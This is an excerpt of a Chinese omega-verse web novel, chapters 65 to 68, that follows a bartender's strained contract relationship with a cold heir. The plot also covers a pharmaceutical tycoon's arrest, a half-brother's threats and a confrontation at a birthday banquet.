赵星野没任何察觉:“啊?你怎么听出他生气了?我听这语气还挺好的,直接去问,弄清楚原因,再好不过。”祁厌的性格有多好,先前去s市玩的时候,他就发现了。 “确实听不出来,但就是因为听不出来,才有问题!”祁戈重重叹了口气,“我哥在这方面老敏感了!” 有些事情,他不方便告诉室友,自从孟晓告诉他沈溪流可能派人跟踪他哥的时候,祁戈就觉得不太妙了。 他和祁厌勉强算是一起长大吧,小时候就发现有时候他们走在路上,祁厌会神经过敏地往后看。 祁戈问他怎么了,祁厌只是有些不舒服地说:“我总觉得有人在跟踪我。” 祁厌从小到大都是冷静理智的性格,但唯独在这方面有种说不出的焦虑和烦躁,甚至有时候大半夜会起床站在窗边,疑神疑鬼地盯着外面的角落。 这种习惯把和祁厌睡一间房的祁戈给吓了一跳,谁大晚上起床,看到个黑漆漆的身影站在窗边处往外偷看,不感到恐惧? 后面说给家里人听,他爸怀疑是当初易鸿立那个畜生派人跟踪监视他们母子导致的,专门带着祁厌去看了心理医生,又给他做了些训练,才让祁厌的焦虑渐渐淡去,恢复冷静。 “总之,我现在只能祈祷要么你弄错了,要么溪流哥给出一个正当理由。” 祁戈一脸希冀地合掌保佑着,他纠结这么久才告诉祁厌,就是希望事情的发展不要太坏吧。 挂断电话后,祁厌将祁戈发来的照片都保存好。他不喜欢犹豫,今天的实验结束后,他会和沈溪流好好谈谈,弄清楚这件事情。 滑动着手机,来到今天的热搜,祁厌垂眸盯着那几条值得人一乐的词条,点进其中,自动播放视频。明明很悦耳,内心却迟迟无法平静下来。 “诶?学长,你也在关注易氏医药集团啊?”路过的学生听到他手机外放的声音,有些感慨,“我原先还打算毕业以后进入这家公司,现在看这情况,估计已经完蛋了!” “真没想到当年那件震惊全国的顾氏企业制售假药劣药案,真正的幕后主使者会是易氏医药集团董事长,真是可怕!看营销号说,他还有可能涉嫌挪用资金、商业贿赂、非法使用特殊药剂,甚至还有故意杀人罪……乖乖,这些罪行叠加起来,不判死刑都不可能吧!” 祁厌退出视频,对他微笑道:“是啊,这么多罪行,如果不判死刑,简直天理难容。” 期待多年的事情终于发生了,却有些高兴不起来,祁厌打开短信里面的拦截垃圾箱,无数条信息轰炸,都来自于易扬。 自从易鸿立被举报入狱后,他就不断地骚扰祁厌,换了好几个手机号码,不过由于祁厌设置只接熟人的号码,所以他压根打不过来。尽管如此,易扬也锲而不舍地发短信过来,从一开始愤怒之下的怒骂斥责,到如今恢复理智的谈判。 他换了一个不记名的手机号码,用暗含深意的文字威胁祁厌:再不收手,无论是他辛苦做了这么久的研究成果;还是他自己和身边人,都将遇到麻烦。 祁厌平静地点评对方一句白痴,压根没打算分一点注意力过去。大概是始终没得到祁厌的回应,易扬终于忍不住了,在他结束实验后,将祁厌堵在路上。 看到那张让人愤怒的脸,易扬本想直接一拳砸过去。 但他心知自己打不过对方,只能压抑怒火,警告道:“祁厌,我不是和你在开玩笑,如果再不按照我说的去做,不仅你的研究项目会被公开,就连你自己的命能不能保住,都是个问题!” “你和易鸿立真不愧是父子。”祁厌心情不好,叹了口气,才慢慢笑起来,“为什么你们总会觉得你们偷到的资料是真的呢?” “你这话什么意思?”易扬紧盯着他,怀疑他在装模作样。 “字面意思,易鸿立没告诉你吗?他早就按照偷到的资料,安排底下的人进行研发,并且投入不少资金,试图抢先在我之前公布出来,只不过失败了而已。”祁厌摊了摊手,语气轻飘飘。 “我猜测如果按照那份研究资料继续研究下去,大约就在这个月能发现我在耍他,不过看来还是我们这边的动作更快。” 在发现这件事情之前,易鸿立先入狱了。 “你这话是什么意思?”易扬不敢相信,认为他在故作冷静,“我爸怎么可能会被你用一份假资料欺骗?”他们家的研究人员又不是摆设,既然易鸿立敢安排人去研发,那应该是已经确认资料是真的。 “我也没说这份资料是假的。”祁厌耐心不足,“如果你只是来挑衅,还不如加油找律师,争取不让易鸿立判死刑,哦,对了,在那之前,还是先注意你自己吧。” 祁厌轻快地走到易扬身旁,手掌轻轻搭在他的肩膀,脸上带笑,眼神却没有任何情绪,冰冷地凝视着他: “你找人将我的抑制剂替换成信息素摧毁剂了吧?” 祁厌的表情和话让易扬瞳孔猛缩,心底一慌,猛地打飞他的手,色厉内荏地大吼道:“你在开什么玩笑,别想污蔑我!我什么都没对你做过!” “别紧张啊,不是你就不是你吧。”祁厌躲过他的手,微笑说,“反正那个姓杨的学弟已经被警察抓走了,警方应该很快就能够顺着他,抓住幕后真凶。” “……” 听到这话,易扬的手不自觉地颤抖起来,有些慌乱紧张,下意识地大声反驳,试图压住恐惧。但看着祁厌无所谓地离开,他连阻止的力气都没有,回过神来才发现后背居然已经被冷汗打湿。 亲眼看见易鸿立锒铛入狱的他,相当恐惧自己被查出来,步上易鸿立的后路。 而转身离开的祁厌,轻轻拍了拍自己的头部,所以,为什么最近越来越清楚的梦里,他会输给这么垃圾的人? 还输得那般惨烈,简直是一败涂地,让人不敢想象。 第66章 前世 趁人之危 如果一开始只是以为沈溪流在生气, 亦或者在害羞,那当察觉到沈溪流的变化时,祁厌就发觉不对劲了。 沈溪流……该不会是把醉后的事情全部忘记了吧? 醉酒断片, 造成记忆缺失的人不少,但那天晚上的沈溪流表现得还挺理智的样子, 只是比平时更加冲动, 丝毫没有耍酒疯的征兆。 如果真要忘记了,那他现在……大概要重新告白一次吧? 回过神来的祁厌重重叹口气:“那也要给我机会吧。” 沈溪流明摆着不想见他,所以这两天几乎没怎么和他正面撞见。明明就住在同一个屋檐下, 可如果沈溪流不想见他,那就有的是办法。 好不容易撞见一两次,对方也旁若无人地离开, 完全不像以前会给他一两个眼神, 也不像以前那样坐在喜欢的位置闲着看书…… 连交流的机会都没有给,这下子麻烦真大了。 刚制作好的淡蓝色酒杯在灯光下熠熠生辉,光线照耀出纯净无杂质的剔透无瑕,如同薄纱一般的花瓣轻盈细腻,流动着水一般的波纹,带着朦胧梦幻的美感。 “虽然是第一次做, 但是你的手艺很好啊, 手指好灵活!”朋友有些赞叹, 虽然早知道祁厌的手指厉害, 但没想到第一次就能够做得这么好。 祁厌做得挺认真, 得到的效果也的确不错,闻言只道:“毕竟好歹也是靠手艺过活,调酒有时候挺考验手指的灵活性和协调性。” 朋友察觉到他的情绪不是很好,稍微试探一句, 是不是和恋人闹矛盾了?会来这里给人做礼物,大多都是关系很亲密的人,看祁厌这个样子,做好的酒杯应该是打算送给恋人吧? 祁厌摇头否认恋人这个称呼,说是喜欢的人,还不知道对方对自己是什么想法,毕竟酒后的事情当不得真,他必须找个机会和沈溪流再好好沟通一下。 如果对方没有那方面的想法的话,他确实需要……注意距离。 早知道那天晚上就不说了,可偏偏沈溪流盯着他追问,还是那种表情,祁厌真的无法拒绝,继续保持沉默…… “那他应该是喜欢你的,不喜欢的话,肯定不会允许你接近他。”朋友只是听他委婉地说了几句平时的相处过程,和对方的大概性格。 “你也说了,他的性格比较冷淡,不喜欢搭理无关的人,讨厌别人接触。可是他却没有忽视你,对你的态度也与刚认识的时候,产生了很大变化,能够接受你对他的接触,帮他绑领带……” 朋友仔细分析一番,拍了拍他的肩膀,一脸鼓励道:“肯定是喜欢你!” “反正我们omega,不会随便允许alpha的接触,”朋友嬉笑道,“自信点吧,难得长了这么帅一张脸,用来搞忧郁就太可惜了。与其纠结,还不如直接找机会弄清楚,喜欢就是喜欢,不喜欢就是不喜欢。” 祁厌也是这样想,也打算创造机会,和沈溪流谈一谈,弄清楚双方的想法。 所以当天晚上沈溪流回来的时候,就被祁厌叫住了,用相当正经的谈话语气留住对方,想要询问他一些关于合同方面的问题,这才把沈溪流留住。 “说吧,你想要问什么。”沈溪流的情绪控制得很好,喜怒不形于色。 大概是刚结束工作,身上还穿着一身黑色正装,坐在高脚椅上的姿态随意,又透着冷静的完全掌控感,没有以往那种自然轻松的惬意,凝视着祁厌的视线好像在审视着他,不带任何情绪。 真的和之前透出来的感觉不一样。 调酒器具在祁厌手指间灵活地拨弄着,他一边娴熟地调着酒,一边好似漫不经心地和沈溪流说:“沈先生,按照合同规定,如果没有意外的话,下月初这场交易就能够彻底结束了吧?” 沈溪流淡淡道:“正常来说是这样,但合同最重要的那条规定是:一切以我的身体情况为标准。如果已经达到指标,那么提前结束也可以。” 提前结束? 祁厌心底微动,观察着沈溪流的表情,发现他不是在开玩笑,原本打算直接说出口的询问,一时之间有点说不出来,只能又提几个和合同有关的问题,试图拖延一下时间。 沈溪流稍稍回答两三个问题,就有些不耐了:“如果只是这方面的问题,你可以自己去翻合同,没必要专门来问我。” 一对上祁厌,果然容易让情绪变得烦躁。 沈溪流说完就想要起身离开,祁厌留住他道:“沈先生,别这么着急离开,你这几天一直在躲着我,是因为七夕那天晚上发生的事情吗?” “七夕?”沈溪流记得沈清泽说过那天他的身体状况恢复得很好,看祁厌这语气,他们当晚难不成还有什么事情发生吗? “嗯,看沈先生这表情,大概率是什么都没记住吧?真叫人遗憾。”祁厌打量着沈溪流的表情,懊悔地拍了一下额头,轻轻叹了一口气,但很快就调理好。 他将调好的酒推过去,脸上带着一抹堪称温柔的笑意,语气又相当郑重地说道:“不介意聊一下吧?那天晚上发生过很重要的事情,我觉得应该和你再说一遍。” 天花板的灯光落在剔透的蓝色玻璃酒杯上,泛着朦胧梦幻般的色彩光晕,杯子里面的酒液和碎冰融合在一起,清新的薄荷叶夹杂在其中,看着相当爽口,几乎算得上是艺术品了。 但当沈溪流的目光落在酒杯边缘和杯梗上的兰花形状的玻璃时,眼眸却飞快覆盖一层寒冷的冰霜。 看着沈溪流伸手拿过酒杯,垂眸打量。祁厌内心有点紧张,但没有表现出来,继续笑着说道:“沈先生,放心吧,我知道你酒量不好,这杯无酒精,不会醉。那天晚上,我就说过要给你调一杯酒喝,要是再喝醉的话,就麻烦了。” “我先说一下,当时你已经同意了,而且我也和你说过……” 祁厌正想着抓紧时间将话都说出来,但才要说到关键时,眼前的沈溪流却抬起眸子,眼神犀利,带着冷酷的压迫感,他端起酒杯,毫无征兆地将里面的酒液和碎冰尽数朝祁厌的脸上泼去。 “哗!” 一股刺骨的凉意从脸上袭来,碎冰砸得脸颊眼睛有些冰冷刺痛,黏腻的酒液顺着脸颊往下流淌,祁厌整个人都懵了,到嘴的话戛然而止。 人还没反应过来,就听见沈溪流说:“我记得,合同第三页第三条规定——乙方应当严格遵守保密义务,不得通过直接或间接的手段获取甲方信息素相关问题。” 沈溪流的语气森寒,带着一抹无法忽视的厌恶与讥讽。 “祁厌,谁让你趁人之危的?” 他有些愤怒,酒杯被随手丢在地上,发出清脆的破碎声。 祁厌怔愣后,连忙开口道:“沈先生,我不是……” “闭嘴。” 沈溪流目光毫不留情,眼中的轻蔑与怒意很快被冷意覆盖,锐利地审视着他,冷声提醒:“别把自己当回事,要不是合同已经进展到现在,你现在的所作所为,都要付出代价。” 不是什么?事实就是祁厌趁着他醉酒,意识不清的时候做了各种违反合同的事情。 而合同违规的代价,是祁厌承担不起的。 “同样的话,我不会说第二次。”沈溪流有些厌烦了,站起身,“以后你不用每天待在这里,如果有必要,我会通知你。” 他不想和祁厌待在一个屋檐下,朝着大门走去,想要离开这个地方。 那天晚上发生什么事情,沈溪流并不感兴趣,只是没想到祁厌居然敢趁着他酒醉后问出信息素,那是不是还做了别的事情? 只是想想,沈溪流就恶心到想吐出来,胸口萦绕着一股难言的怒气。 卑劣的人总是喜欢趁人之危,居然在他意识不清的时候,做出下作的事情。 祁厌听见沈溪流很低声地骂了一句:“沈云殊这个白痴,什么人都敢给我找……” 他有怒气,但是冲着始作俑者的沈云殊,而不是祁厌这个他本就不该放在眼里的人。 “……” 好半晌,祁厌终于回过神来,抹掉脸上的酒液和碎冰:“……靠,搞砸了。” 为什么没有意识到还有这个问题? 居然连向沈溪流解释的机会都没抓住。 如果不是沈溪流提起的话,祁厌甚至没有发现,他那天晚上的所作所为的确是趁人之危,在沈溪流意识不清的时候,做了各种各样的事情,并且将一切当真…… 被假象和自以为是的傲慢给蒙蔽了。 他得道歉。 但发生了这种事情以后,再想要找到道歉和解释的机会,比以往更加难了。 如无必要,沈溪流不想见他。 假性标记已经来到后期,不需要每天都进行x行为,沈溪流索性不再过来。接连两天,祁厌都没能见到对方一面,仿佛又回到了之前的失联状况,甚至更加糟糕。 “你的声音怎么听起来要死不活的啊?” 许久没打电话过来的江与青声音有些虚弱,但一打通电话,就发现祁厌的声音比他更虚。 “没事。”祁厌深吸口气,冷静起来,“搞砸了一件事情而已,现在正在拼命想办法弥补,你怎么打电话过来了?” “没什么,就是告诉你,我明天要回国了。” 祁厌一愣:“你要回国?为什么?”江与青还有回国的理由吗? “接了个爷爷丢过来的任务,回去参加沈家主的生日宴会。”江与青漫不经心地说着。 祁厌沉默半晌:“为什么?”江与青向来不喜欢与本家接触,长年远离家族核心圈,现在接了江老爷子的任务,这是想要回到那个圈子吗? “没有为什么,我爸妈的保护心态太严重,什么都不愿意告诉我,想要弄清楚那个王八蛋为什么去死,当然只能投靠一下爷爷了。” “哦,对了,我怀孕了。”江与青想了想,说,“顾燕行的。” 祁厌:“啊?!” 他要是没记错的话,这两家伙三年多没见面了吧?怎么隔空搞出人命来? 难道是怀了个哪吒??? 不对,正常的哪吒三年也已经生下来了。 第67章 前世 他本不应该拥有这样的人生…… 去机场接人的时候, 祁厌差点没认出江与青,他把头发染回黑色,穿着渐变浅绿的长裙, 和以往不一样,看着有点娴静的淑女气质。 目光下意识地看了一眼他的肚子。 “作为一个alpha, 盯着omega的肚子, 是很不礼貌的事情。”江与青说。 祁厌收回目光,帮他拿过行李箱:“抱歉,就是有点太意外了, 手术顺利吗?” 在大庭广众之下,江与青很注重形象,优雅地说:“挺顺利的, 肚子里的胚胎目前也挺正常, 所以才有精力回国,过段时间再回去检查一下就OK了。原本最大的麻烦就是家里的固执老头子太难对付,不过我都怀孕了,他就没话说。” 江家作为豪门世家相当守旧,在某些方面极其苛刻,江与青想要获得认可, 估计不容易。 把人接上车, 祁厌没在这方面多问, 换个话题道:“你怎么把头发染回去了?”他原来的模样更加张扬热烈。 “老头子看不顺眼, 觉得以前的样子花里胡哨的, 我索性改变形象。”江与青打理着自己黑色的长发,笑道,“是不是显得更加优雅得体了?” 祁厌说:“都挺好。” “啧,你这反应真不行, 才多久不见,怎么这么没精打采的啊?”江与青有些嫌弃,不过想想,又叹了口气,“算了,不说这些,我这次回来还有一件更重要的事情,你待会儿跟我来,有事要让你知道。” 江与青不知道他出国后又发生了什么事情,也不知道祁厌的母亲已经去世,这段时间发生太多事情,已经耗尽他的精力。等到了别墅,他让人取来一个包扎得相当细致的盒子,端出里面的八音盒。 “还记得这个东西吗?”江与青指着外形精美华丽的八音盒,露出怀念的表情。 祁厌怔了一下,神色有些复杂地叹了口气:“没想到居然还能再见到它。” “是啊,我也有些惊讶,是从我的一位长辈那得到的,据说他也是在一家古董店买到的,见我喜欢,就转送给我。”江与青说着,打开八音盒,播放那熟悉的空灵纯净乐声,“听听看吧。” 是很独特、令人怀念的乐声,小时候经常回旋在温室里,是夏云惬最喜欢的声音,只是在外公外婆去世后,她就很少放了。 旋律环绕着,他们安静地听着,没有说话,一曲播放完后,不等祁厌发言,江与青在电脑上点击了几下:“先别急,再听听这个。” 依然是熟悉的八音盒的乐声,祁厌不知道他想做什么,沉默着听完又一曲。 “听出什么吗?”江与青抬眼看他。 “没有。”祁厌摇了摇头,但这反差的举动已经足够让他察觉到不对,“你想让我知道什么?”他隐隐有些猜测,只是没说出来。 “挺敏锐的。”江与青笑了起来,从兜里取出一个小盒子打开,里面放着一张小型记忆卡,“要看吗?这是藏在八音盒里的东西,藏得很好。” “说真的,如果不是放了太多年,搬动的时候出现一丝误差,加上我遗传我妈的绝对音感,差点就没听出来。特意请大师取出来的,没有损坏八音盒,易鸿立和你们一直想找的东西,应该就是这个吧?” 他知道了。 祁厌接过记忆卡,不知道怎么说,寻找多年的东西,就这么猝不及防地出现在眼前,说高兴,但不知道为什么根本高兴不起来。脑海里不断闪现顾燕行和母亲的脸,心情相当沉重,甚至想抽根烟缓解一下绷紧的神经。 “你回国的原因,不只是参加宴会吧?”祁厌道。 与他的压抑不同,江与青合上电脑,笑意盈盈地道:“那是当然啦,那家伙因为易鸿立爽我约,不能就这么算了。他死了,我不方便找他算账,总得找活着的人算账吧?” 祁厌盯着他,慢慢笑了起来:“你还真是……让人佩服。” 江与青哼笑一声,取出兜里的糖,剥开皮,说:“对了,既然东西已经拿出来了,八音盒你就拿去给夏姨吧,就当是我这个小辈送给她的礼物。” “……我先替我妈谢谢你的好意,不过不用。”祁厌摇摇头,平静地说,“她已经去世了。” 江与青瞳孔一缩,惊愕道:“之前不是……” 他上次回国,向祁厌问过夏云惬的情况,本来想找机会去看看多年不见的长辈,但是知道不在S市后,就暂时放弃了,没想到这次再回来,就已经去世了。 “节哀。”江与青好像知道祁厌为什么没精神了。 祁厌:“不用在意,这对她来说,或许也是一种解脱。” 他没有多待,借着江与青的电脑,将记忆卡里面的东西看了一遍,并没有表现出太多情绪。 考虑到现在不方便将这种东西带走,祁厌把记忆卡交给江与青保存。和顾家相关的资料,没有比放在这里更安全的地方,不知道江与青现在掌握多少,祁厌打算等另一边的信息破解结束后,再斟酌着告诉江与青,免得影响到他的身体。 “那明天的宴会,你干脆给我做伴吧?”江与青在他离开前,邀请道,“我懒得去找其他人,又不想让别人知道我怀孕的事情,如果你过去的话,还可以帮我挡酒一下,有些人真的麻烦死了。” 祁厌原本还想考虑一下,听到后面的话,便答应下来了:“这个没问题,只要你不介意,我无所谓。” “有什么好介意的,要介意也该是地下的死鬼介意。”江与青撇了撇嘴,“他祖宗的,居然敢这么干脆地死了,早晚让他的孩子叫别人爹……” 祁厌:“……” 突然有种背后发凉的感觉了。 被江与青这么一顿打扰,祁厌突然感觉自己情绪没那么沉重了,有点无奈地笑道:“那他也活该。” 不把自己的命当命,凭什么让别人一直记着他? “就是就是。”江与青非常赞同,一脸灿烂的笑容,不打算继续停留在以前,“我到时候还要拖家带口地去他坟前,好好炫耀一番!” 死人会永远停留在原地,但活人要继续向前走,江与青不会停滞不前,这样的热情乐观多少有些感染到祁厌。 “我们往后的余生还很长,人总不能永远活在过去,对吧,祁厌?”他笑眯眯地说道。 “是的。”祁厌点头,江与青说得很对,不能继续沉浸在乱七八糟的情绪了。 明天的宴会吗?或许会是一个好机会。 祁厌没有回那个房子,他之前在那里等了几天,但沈溪流明显已经不准备回去,也说过有必要自然会打他电话,叫他过去。 思考半晌,祁厌索性直接回自己在酒吧附近租的房子。回到只属于自己的地盘,原来环绕在心头的压力好像在逐渐散去,连身心都觉得轻松不少。 他偶尔还会回来拿东西,打扫一下卫生,里面很干净。但不知道是不是放下心来,突然又流鼻血了,还伴随着头晕目眩,好在只维持了一会儿。 等血停住之后,他拿出手机搜了搜,心想是不是上火了,但搜出来的结果基本是他离死不远了…… “祁哥,对不起,没撞到你吧?”一来酒吧,走神的祁厌差点被叶澄澄撞翻,好悬才稳住身体。 “没事,没事,你怎么跑得这么急啊?”祁厌放开他,往后退一步,拉开距离。 “嘘嘘!”不等叶澄澄回答,在后面的人先吹了几声哨子,哈哈大笑着,开始嘲笑。 “阿厌,你好逊啊,怎么还差点被这么娇小的omega给撞翻了?白长这么高了!” “不会是最近夜生活过得太精彩,导致人也变虚了吧?” 嘲笑的声音来自于损友们。 “你们踩在楼梯上被撞一下试试?能稳住算你厉害。”祁厌直接回道,他看了一眼有些慌张羞涩的叶澄澄,让他先去忙自己的事情,别管这群神经病。 等他走过去,坐到卡座里,徐浪浪就凑了过来,勾肩搭背:“哎,真一点都不心动?那么可爱的omega都撞你怀里了,居然没有dokidoki的感觉吗?” 祁厌推开对着自己挤眉弄眼的人:“别说得这么奇怪,我讲过我有喜欢的人。” “有喜欢的人又怎么了?”徐浪浪理直气壮,“可以多喜欢几个啊!生而为人,爱好广泛一些怎么了?我又没有藏着掖着,与其只喜欢一个人,还不如造福大家,反正所有人都很高兴,很幸福。” 别把人渣的话说得这么理直气壮,祁厌扶额:“……你这话说出去,会被打骂的。” “切,我更加好奇你喜欢的那个人是谁了。”徐浪浪说,“也不知道谁把你拿下了,明明以前那么多个有钱有脸的富O都没把你勾走……” “请停止你的炸裂发言,我是正经调酒师,哪天要是被人误会,绝对和你逃不脱关系。”祁厌说。 不怪沈溪流之前对他会有些奇怪的误会,祁厌身边确实有不少这种人。他起身去练习调酒,玩的手法花样百出,精彩又炫丽。 “怎么突然开始炫技了?”另一名酒吧调酒师笑着问道。 祁厌翻转着手里的酒杯,动作流畅,漂亮的修长手指挑动着玻璃杯轻旋,笑道:“证明一下自己真的是个正经调酒师,和某些人不一样。” 被指到的某些人大声反驳:“喂,过分了,你小子是故意在说我们不正经是吧?” “原来你们知道啊。” “你这家伙,真是越来越欠揍了!” “小心我们动手围殴你啊!” 楼下吵吵闹闹,徐哥靠着玻璃栏杆,盯着下面笑,抱着一堆东西走来的叶澄澄听到下面传来的声音,没忍住笑道:“大家的感情真好啊,简直就像是一家人。” “这么说倒也没错,毕竟大家都一起待了这么多年。”徐哥伸手帮他。 叶澄澄闻言,好奇道:“徐哥,听说祁哥很早就在酒吧里工作了,是真的吗?” “算是吧。”徐哥回忆了下,“我都快忘记是十几岁了,挺小就来了。” 当时只是想着帮逝去的队长照顾一下外甥,结果没想到一照顾就是那么多年。 被恶心的人盯着、妨碍、打压,导致祁厌连大学都没能上。成年之后,他索性放弃读书,放弃成为一名医生的梦想,成为某些人看不上的调酒师,不入流的角色,这才不显得这么碍眼。 但他本不应该拥有这样的人生。 盯着下面和大家玩闹的身影,徐哥有些遗憾,又有些感叹。 如果没有遇到这么多糟糕的事情就好了,他应该有更好的人生,偏偏路早已被堵死。 无处可去,无处可逃,只能随便找一个地方,继续活下去。 第68章 前世 别给脸不要脸 祁厌多年没有参加这种宴会, 当天直接被江与青包办,从头到脚都是由他安排,作为设计师, 对方的眼光无疑是出色的,将祁厌包装得相当完美。 “有必要这样吗?”祁厌反倒有些不习惯, 他平时过得随意, 穿得这么优雅矜贵,总有种束缚感。 江与青道:“有必要!你那个同父异母的弟弟也会过去,绝对不能露怯!” 祁厌从他的表情上捕捉到一抹厌恶, 是先前没有的,也不知道江与青这次究竟知道了多少事情,好像对易扬的厌恶更多了。 “行吧, 你都这样说了, 我确实不能表现得太差。”祁厌笑笑,骨子里的骄傲不许他向易家的人低头。 纵使进入上流社会的宴会,祁厌也依然从容不迫地站在江与青身边,以身体不适为由,帮他挡住不少酒。 大概是祁厌的气质太过于出众,有熟人好奇询问身份, 江与青给祁厌安排一个助理兼任男伴的身份。但光看他那张脸, 倒是有人心里起了疑心, 这和易家那对父子长得也太像了吧…… 应付完熟人, 江与青和祁厌走到餐桌边, 低声说道:“看来还是有人注意到了。” “没办法,毕竟有着血缘关系。”祁厌不以为意,“倒是你,怎么一个个都叫你江小姐?难道你就没有穿过男装出现在众人面前吗?” 江与青小时候由于身体原因和家庭原因, 一直是以女装示人。长大后也延续这个习惯,久而久之,除了家人和亲密的朋友,外界基本不知道他的性别。 江与青点点头:“确实没有穿男装在正式场合出场过,不过也不是完全没有人知道,他们可能以为我是跨性别者吧。你倒是提醒我了,这方面得澄清一下。” 如果放在以前,江与青压根不在意自己被人误会,作为一名设计师,有点独特的癖好,算不上什么。但既然现在他想争,那就不能存在误会。 祁厌笑笑,陪江与青闲聊着,目光却无意识地在人群里穿梭着。沈家主的宴会,沈溪流肯定会出场,只是宴会厅太大,宾客如云,一时之间有点难以寻到对方,就算找到了,这种场合也不方便道歉吧? 他心底有些失望,但没有表现出来。今日是沈家主的生日宴,作为晚辈的江与青上前打招呼的时候,沈家主的目光在他身旁的祁厌身上停顿一瞬,很快便收了回去,表情没有任何变化,也没有向江与青询问他是谁。 江与青察觉到了,过了一会儿才和祁厌说:“我怎么觉得,那位刚才好像看了你一眼?” “是吗?估计是因为我站在你旁边,才引起他的注意吧。”祁厌只和沈家主见过一次面,就是沈云殊想要强迫他们永久标记的时候。沈家主出场一次,给了那一个月的时间,导致沈溪流不得不想出假性标记的办法,混过去。 祁厌对他的印象相当深刻,毕竟外貌太过特殊,反观自己应该没有被沈家主放进眼里吧,毕竟他只是和沈溪流签订治病合同…… “江小姐,好久不见,你果然真的来了!”大概是说曹操曹操到,随着一道惊喜不已的声音响起,沈湘婷走了过来,在她身边还有着易扬和沈溪流、沈游弋。 祁厌下意识抬眼看过去,无意地和沈溪流对视上,几天没见面,对方没有什么变化,就是好像清减了些,穿着一身黑色西装,神情冷淡,左眼下的三颗泪痣被苍白的皮肤衬托得相当显眼,给人一种冷漠傲慢的气质。 看见祁厌那一瞬,沈溪流的眉头微微皱起,瞥了他和江与青一眼,一抹厌恶从眼眸中流露出来。 他很快就不耐地收回目光,听着身边的沈游弋叽叽喳喳说个不停,手指却烦躁地轻轻敲击着食指上的戒指。 “……” 果然还在生气,祁厌一眼了然,心底莫名多出一丝尴尬。不过没多久就被易扬给转移注意力:“在这里看见某些人,真是有点倒胃口。” 易扬皮笑肉不笑地说着话,眼神紧盯着一旁的祁厌。他很愤怒,即使注意着场合,没敢在这种地方闹事,也忍不住阴阳怪气地讽刺一句。 祁厌看了皱着眉头的江与青一眼,对他说道:“看见了脏东西,就无视吧,毕竟我们是有素质的人。” 一旁的沈湘婷原本还有事情想问江与青,他们几句话说下来,她终于察觉到一丝不对劲,自己的丈夫好像和江与青带来的这位帅哥……有些冲突? 再看他们相似的外表,沈湘婷好像隐隐约约发现了些什么。 “江与青,上次我便想说了。” 然而正听着沈游弋废话的沈溪流却忽然看了过来,盯着江与青,冷冷淡淡地开口:“你现在的社交偏好,不像以前那般有格调……” 他嘴角微微上扬,平静的声音带着一贯的讽刺,漫不经心地说:“什么人都敢带在身边,真随性,连场合都不考虑。” “……”祁厌愣住了。 一旁的易扬没想到沈溪流居然会站在他这边,帮忙说话,立即笑了起来:“哈哈,溪流哥说得对,今天来的人那么多,各种名流人士,江小姐还把某些低贱的家伙带进来,万一出了什么事情……” “真是糟糕且没品的素质,张口闭口就低贱,不知道的还以为你是什么王孙贵族,天生高人一档,怎么这么封建呢?”江与青飞快打断易扬的话,微笑道,“别一天到晚在别人耳边狗叫,OK?” 他这话一出,易扬顿时僵硬住,江与青的语速相当快速,声量控制得很好,目光锐利地扫过易扬,然后落在沈溪流身上。 江与青有些意外地打量他,继续笑道:“某些人也别总那么傲气,擅自把人分成三六九等,真自以为是。我喜欢和谁交朋友是我的事,少管闲事。” 沈溪流脑子进水了吧?怎么不继续保持平时不爱搭理人的傲慢姿态了?!还针对起祁厌了? “走,祁厌,别搭理这些人,咱们行得正坐得直,不能把这些人当回事。”江与青拉着沉默的祁厌就走。 “噗嗤!”他这一走,沈溪流旁边的人没忍住笑出声。 “咳!”迎来冰冰凉凉的视线,游弋立刻收紧嘴皮子,嘟囔道,“我就随便笑笑,不是笑你,只是想起一件好笑的事情……” 沈溪流收回目光,放下手里的酒杯,不像以往冷淡,没有情绪波动,游弋看得出来,他的眸底闪现过一抹恼火,心情明显糟糕透顶。 以至于就连沈湘婷和易扬都不敢上前搭话。 …… 走到角落里,江与青还有些生气:“你刚才怎么不说话怼回去啊?” 上次明明嘴皮子很利索,能够反击到易扬无话可说,结果不管是上次还是这次,沈溪流一说话,祁厌就闭嘴。 甚至这次连人都愣住了,直勾勾地盯着沈溪流那家伙做什么?别告诉他,祁厌这小子看上那张脸了?!妈的绝不允许!! “呃……”没想到江与青居然这么生气,祁厌摸了摸鼻子,带着歉意地说道,“我说宕机了,你信吗?” 真的宕机一瞬,等反应过来,江与青已经噼里啪啦地骂回去。 “呵呵。”江与青给他翻了个白眼,原本还以为能轻松压易扬一头,结果没想到杀出个沈溪流冷嘲热讽。 祁厌无奈说:“刚才谢谢了,不过还是少生气吧。一件小事而已,你现在得控制情绪……” 江与青下意识摸了一下肚子,没好气地说:“得了吧,小的根本不用操心,全操心大的去了。” 祁厌:“……做个正常大人吧。”这过家家的游戏什么时候才能结束?他真的对做别人儿子不感兴趣。 江与青心情不爽利,想去外面透透风,祁厌本想跟着他过去,但被拒绝了。 他今天帮江与青喝了不少酒,便向侍者询问一下,朝着洗手间走去,结果一眼看见从廊道走过的沈溪流。 刚才的话要说有多生气,其实并没有,祁厌的情绪比较复杂,但最先想到的依然是沈溪流那天说的话,浇在脸上的冰冷酒液让他保持着理智,冷静地观察着自己和沈溪流的关系,酒后的话不能当真,做过的错事需要道歉。 沈溪流刚才会故意说那种话嘲讽,应该是因为那件事情而觉得他是不守信用、趁人之危的家伙…… “沈先生。”祁厌快步走了上去,想要叫住沈溪流,但对方只在听见他的声音时,停顿一瞬,然后继续往前走,就要绕过前面的路口。 “沈先生,请稍等一下。”祁厌只能冒犯地抓住他的手臂,留住他,“我有话想要和你说!” “放开。”被拽住手臂的沈溪流终于停下脚步,神色有些不耐,目光冰冷地直视着他,“我没有听你说话的兴趣,别纠缠不清。” 祁厌有些无奈,试图解释;“沈先生,抱歉,我只是想澄清误会,好好向你道歉,还有,刚才……” “祁厌。”沈溪流倏然抬眸盯着他,截住祁厌的话,冷淡的目光变得锐利,带着极强的压迫感,“你不觉得你太把自己当回事了?” “我……” 祁厌是第一次见到这样的沈溪流,比起上次更加尖锐无情,狭长的眼眸微微眯着,透露出强势意味,被盯着的时候,后背无端发凉。 “你觉得你在我眼里算什么东西?”他的语气轻飘飘,平静又蕴含着不易察觉的危险。 “看来是之前逼不得已的相处让你产生误会了,那我现在就认真说一遍。别太自以为是,我从来没将你放在眼里,你只是我提取信息素的原材料,摆清楚自己的定位不好吗?” “不要整天纠缠不清,误会、解释、道歉这种事情对我来说没有必要,我唯一在意的是你的信息素。” “怎么,两千万还不够吗?现在又贪婪地想要索取更多?以为能借此上位吗?”沈溪流的眼眸里带着明显的轻蔑,脸上带着一抹似有似无的冷笑,“别给脸不要脸。” 